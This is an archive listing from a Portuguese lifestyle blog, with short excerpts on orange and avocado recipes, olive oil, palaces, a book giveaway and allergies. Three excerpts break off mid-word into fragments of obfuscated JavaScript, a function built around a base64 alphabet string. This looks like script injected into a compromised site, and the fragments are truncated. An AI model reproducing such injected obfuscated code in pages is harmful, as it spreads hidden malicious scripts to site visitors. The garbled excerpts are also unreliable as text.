Jun 10, 2017 | Dicas úteis, Receitas, Teresa
7 Benefícios da laranja + bolo de laranja na caneca Hoje trago-lhe mais dicas saudáveis e escolhi escrever sobre os benefícios da laranja. Este é um dos frutos preferidos dos portugueses e eu não sou excepção! A laranja pode ser consumida de diversas formas quer...
Jan 15, 2017 | À descoberta, Receitas, Teresa
Bruschetta de abacate para um brunch saudável por Luísa Fortes da Cunha Ingredientes 1 Pão de cereais 1/2 Abacate 1/2 Lima (sumo) 3-4 Folhas de manjericão Sal e pimenta qb 1/2 Tomate Preparação: Esmague o abacate com um garfo, junte o sumo da lima. Qufunction...
Dez 14, 2016 | Em Alta, Equilíbrio, Saúde e bem estar, Teresa
Dicas saudáveis – Benefícios do azeite O azeite faz parte da celebrada dieta mediterrânica e usamo-lo em praticamente todos os nossos cozinhados. No meu caso, apenas o substituo por óleo de coco algumas vezes, que também é óptimo. O azeite é de facto uma gordura...
Nov 17, 2016 | As minhas fotos, Em Alta, Eu, Teresa, O meu mundo, O meu trabalho, Teresa
SOMOS MILHÕES Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Set 8, 2016 | Apanhados na rede, Olha que giro, Teresa
Maravilhas do nosso mundo – 9 palácios imponentes Já lhe tinha mostrado os mais belos palácios do nosso país, mas por esse mundo fora há também uma diversidade de palácios com muita história e que são verdadeiras obras de arte! São sem dúvida pontos de paragem...
Mai 22, 2016 | Passatempos, Passatempos, Teresa
Se leu e gostou do artigo Oito passos para saber se GOSTAM DE SI! escrito pela psicóloga e mediadora familiar Margarida Vieitez, vai querer ganhar o passatempo de hoje. Ofereço a três vencedores ou vencedoras 2 packs com os seguintes livros: – Pessoas que nos...
Mai 20, 2016 | Em Alta, Equilíbrio, Saúde e bem estar, sidebar 3, Teresa
Já todos sabem que sou regrada na minha alimentação, que faço exercício e que me cuido. Mas qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Mai 12, 2016 | Equilíbrio, Saúde e bem estar, Teresa, Zen Energy
Calcula-se que 3 em cada 10 pessoas sofram de algum tipo de alergia, uma proporção que curiosamente tem vindo a aumentar vertiginosamente nas últimas décadas, sobretudo nos países desenvolvidos. As alergias são o resultado da combinação de factores ambientais,...
